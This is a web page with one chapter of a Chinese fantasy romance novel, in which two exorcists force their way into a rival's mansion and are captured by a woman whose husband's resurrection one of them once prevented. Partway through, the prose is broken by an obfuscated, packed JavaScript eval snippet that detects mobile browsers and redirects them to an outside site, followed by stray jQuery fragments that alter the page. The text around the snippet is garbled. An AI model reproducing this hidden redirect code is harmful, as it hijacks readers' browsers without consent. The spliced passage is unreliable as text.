默认冷灰
24号文字
方正启体

7. 钱是好东西,欠了真要命

作者:棕色羊毛卷本书字数:K更新时间:
    李知微作为专门从事法器买卖生产的阴阳客,她的宅邸在崔荧这双可以观“气”的眼睛中就像一盏正在发光的烛台,在充斥着黑气的祁州城内格外瞩目。


    因此二人没花多少力气便找到了。


    整座宅邸的选址颇有种闹中取静的意味,精致的雕花院门体现着主人不俗的品位,能在祁州城坊市林立的位置拥有一座这样雅致的住宅完全可以展现出这位阴阳客的财力。


    崔荧作为裴绍疆第一位也是唯一一位相熟的阴阳客,这让他一度认为阴阳客都是如此贫穷,至于这些人每做一单营生所收取的天价酬金,他都默认为获得超乎想象的能力同时也许开销也巨大。


    这样的误解直到他在看见眼前宅院时才明白,也许不是阴阳客穷,只是崔荧单纯比较缺钱。


    “同为阴阳客,财力和品位怎么差距如此之大呢。”


    本来正忐忑地伸手要敲响院门的崔荧听见这句感慨当即感觉脸上一热,“真是不好意思,给我们阴阳客丢人了。”


    崔荧有些恨恨地道:“还是别把我这种阴阳客身上的穷酸气传染给将军您了。”说着她就有些不自在地放下二人刚刚还挽在一起的手。


    感受着手上温暖的触感消失,裴绍疆挑了挑眉。


    他一把牵过崔荧刚刚放开的手,上前一步敲响了院门,在对方讶异的目光中低声说道,“为夫这么富有,不怕你那点穷酸气的。”


    还没等崔荧反驳,一阵脚步声从院内传来,想到一小时前裴绍疆的计划,她只得反握住男人的手,露出一抹得体的微笑。


    一定要忍住了崔荧,这可是有钱的大老板,得罪不起。


    一边在心中开解着自己一边反复回想着那一袋袋金叶子的美妙,崔荧只觉得嘴角的笑容都真挚了几分。


    院门被来人拉开了一道小缝,一位家仆打扮的小童正透过缝隙小心地向外面张望,“何人深夜来访?”


    见这小童如此谨慎,崔荧上前一步小声反问道,“敢问此处可是阴阳客李知微李小姐的宅邸?”


    听见来人准确地道出了宅邸主人的名讳和职业,小童放下了些许警惕将院门半推开道,“这正是小姐的宅邸,只是不知您二位和小姐的关系是?”


    小童与崔荧二人的距离本就在刚刚的对话中被她接近到只隔了一扇院门,如今这小童一时放松警惕拉开一半院门,裴绍疆伸腿便卡在了门中,随着他双手发力,院门的开合角度逐渐扩大。


    顺着他争取来的空隙,崔荧趁机一个箭步便拉着裴绍疆挤进了院内。


    “你!”


    不待那小童惊呼出声,便被崔荧反手捂住了嘴。


    她动作极快,空余的另一只手当即扣住了小童的后颈,力道不重,却恰到好处地让人动弹不得。


    “别出声。”崔荧的声音放的很轻,“我与你们家小姐同为阴阳客,如今是有求于她才出此下策,还劳烦你去通报一声。”


    说到这她恰当好处地回头看了一眼身后的裴绍疆,“你就说一阴阳客夫君身受重伤急需法器续命,现来找李小姐求买法器。”


    这话说的情真意切,讲到“身受重伤”时崔荧还特意带上了点哭腔,这小童毕竟年纪尚小,被她如此一番表演下来有些惊恐地先是看了看崔荧又看向裴绍疆。


    本来话便信了三四分的小童,在看见裴绍疆夜色下惨白不似人类的脸色后,竟像是做了自己人一般认真的点了点头,转头便向里屋去通传了。


    就这么简单?


    她现在演技这么出神入化吗?


    崔荧刚想找裴绍疆炫耀一下自己的演技,回头看去,竟发现这人不知道什么时候把遮面的斗笠取了下来。


    那惨白的脸色和横亘面部的伤疤使他着实看起来不像好人。


    她算是知道了那小童刚刚为何答应的如此之快了,那是怕不答应就被这俩杀人灭口了。


    “你怎么擅自就把斗笠拿下来了……”


    崔荧伸手就要把裴绍疆的斗笠再扣回去,却感觉手腕一凉,她低头看去是裴绍疆的手正扣在她拿斗笠的手上。


    “你现在这样一点也不像活人。”她压低声音解释道。


    “嗯。”


    “那你松手啊。”


    看出了她眼中的焦急,裴绍疆不得已皱了皱眉道,“身受重伤五感尽失没有意识的可怜活尸。”


    “啊?”


    这话来的没头没尾,不过崔荧立刻想起来这是来之前裴绍疆给自己安排的身份。


    这样想来,此刻再打量着他如今的造型,倒是很有说服力。


    “那你一会儿可得忍住别说话。”


    见崔荧终于明白了自己的意思,裴绍疆干脆继续把手留在她的手腕上,任凭对方怎么甩动也不松手。


    作为五感尽失的可怜活尸,此刻抓着唯一能带给自己安全感的妻子的手,这有什么不对吗?


    崔荧尝试几次都甩不走那像狗皮膏药一样的手,生怕一会儿李知微来了暴露,便干脆当作没感觉一样望着小童走的方向。


    这院子有这么大吗?


    去了这么久也不见个人影。


    而这边裴绍疆见她不再反抗,权当她是默认了,牵起来更是心安理得。


    “小姐!就是他们深夜擅闯宅邸!”


    一声有些熟悉的高呼打破了院内的沉静,伴随着这声高呼的是李宅从后向前亮起的灯光,以及一阵略显急促的脚步声。


    听着这明显来自刚刚小童的高呼,以及夹杂着诸如“一看他们就不是好人的”话,崔荧有些无力地原地抱头蹲下。


    都赖裴绍疆干的好事!


    现在好了,他俩明显是被当成劫匪了!


    随着脚步声的逼近,一袭翠绿的裙摆出现在崔荧的视线中。


    一道温婉的女声出现在她的耳中,“‘鬼眼’崔荧?”


    听着这明显认出的反问,崔荧心中咯噔一下,她抬起头看去,一名身着翠绿留仙裙,外披耦紫长袄的女子正站在她面前。


    来人生着一副貌美的容颜,做得一派清丽出尘的打扮,但那如远山黛的眉宇此刻正微微皱起,有些错愕地看着蹲在地上的崔荧。


    只是崔荧此刻无心欣赏对方的容貌,她脑子连续转了几圈也没在记忆深处找出这张如此有辨识度的脸,倒是对方这条翠绿色的留仙裙有几分眼熟。


    她实在记不得何时与这么富有的阴阳客结过善缘。


    犹豫片刻崔荧决定问出心中的疑问,“李小姐,咱们之前见过吗?”


    听见她这变相承认的回答,李知微脸色骤然变得冰冷起来,她冷哼一声算是回答,转身便冲着身后的家仆挥了挥手道,“把这二人绑起来。”


    看着对方身后接到命令后,人手一条泛着金光的绳子的家仆们,崔荧有些绝望地闭上了眼睛。


    她是看明白了,这结的是孽缘。


    人均手拿捆仙索,他俩拿什么还手。


    真想和这些有钱的阴阳客拼了。


    可惜再睁开眼,还是那几条泛着金光的捆仙索。


    暗中向身后的裴绍疆比出稍安勿躁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315295|198939||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的手势,崔荧双手向上抬起,扑通一声跪在地上。


    她真挚地看向那些跃跃欲试的家仆们,“我俩投降。”


    可惜迎接她的是一条金灿灿的绳子。


    “不是都说投降了吗!”


    看着被捆在地上像泥鳅一般拱来拱去的崔荧,李知微脸上扬起一抹大仇得报的笑容,“骗子的话信不得。”


    她抬起一根纤细的手指缓缓划过崔荧的脸颊,纤长的指甲轻易的便在那光洁的脸上留下一道红痕。


    崔荧忍不住倒吸了一口凉气,心中不禁泛起一丝不安。


    她走南闯北做委托皮糙肉厚惯了,这点红痕和捆仙索带来的疼痛根本对她不疼不痒,但真正让崔荧感到不安的是李知微此时的态度。


    崔荧能感受到,她面前的这位阴阳客此时精神已经濒临崩溃。


    失去理智的阴阳客很可怕,崔荧毕竟是带着裴绍疆来做生意的,正所谓和气生财,她现在真的很想坦白从宽。


    但问题是,李知微什么也不问啊!


    “李小姐。”


    崔荧在地上给自己找了个相对舒服的姿势,她仰起头真诚地冲着对方发问道,“我是不是欠你钱?”


    “欠钱?”李知微闻言饶有兴趣的蹲下身,她仔细端详着崔荧的表情,有些玩味地重复着那两个字。


    崔荧忙不迭地点头。


    她对自己是有数的,入行多年,虽然贪财,但她从不做伤天害理的委托,生平做过最大胆的事就是前些日子被沈充忽悠着成了“逃犯”。


    如今骤然被人捆在地上寻仇,崔荧是搜肠刮肚地回想,也只憋出个欠钱。


    毕竟在她眼中钱财可谓是第一要务。


    她必定是欠了眼前这位温柔可人的小姐一大笔钱财才逼得人家如此。


    以裴绍疆这定南将军的财力,替她还个债还不是绰绰有余。


    越想越觉得有道理的崔荧连回话都不禁带了几分底气,她朗声道,“李小姐您瞧我这记性,我夫君就在后面,这欠款我们肯定是连本带利地奉还。”


    “你还敢跟我提夫君这个字眼!”


    这两个字像是触碰到了李知微什么开关,她猛地逼近崔荧,一把抓住了对方的衣襟一字一顿道,“西州陈家。”


    听到这个地名崔荧心中一沉,她有些难以置信的打量着李知微——身着翠绿留仙裙,外披耦紫长袄……


    翠绿留仙裙!


    她终于想起来为何看见这条裙子感到眼熟了,“你是陈薇?!”


    三年前,西州陈家的女婿意外离世,独女陈薇悲痛欲绝欲以一秘术复活其丈夫。


    复生之法乃是被所有阴阳客公认的禁忌之术,西州府衙得知此事后立即通知了一批阴阳客前去阻止。


    崔荧在这一事件中率先摧毁了那记载秘术的阴阳术书。


    作为成功阻止了一起人为乙级事件的发生,她还在事后被授予了西州十大知名阴阳客的称号。


    “鬼眼”之名也因此名扬齐国阴阳客届。


    想起李知微和她夫君在阴阳客届伉俪情深的美名,如果崔荧回忆的没错,那她和李知微之间的恩怨,远比欠钱要可怕的多。


    她好像,三年前间接阻止了李知微夫君复活。


    看着眼前正揪着自己衣领的前高危重刑犯,崔荧此刻只想回到三年前抓住一起接受委托的同事狠狠给对方一嘴巴。


    这就是另一组负责抓捕的说的已羁押!


    现下这犯人不只是越狱了,连生意都做大做强,买上豪宅了!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)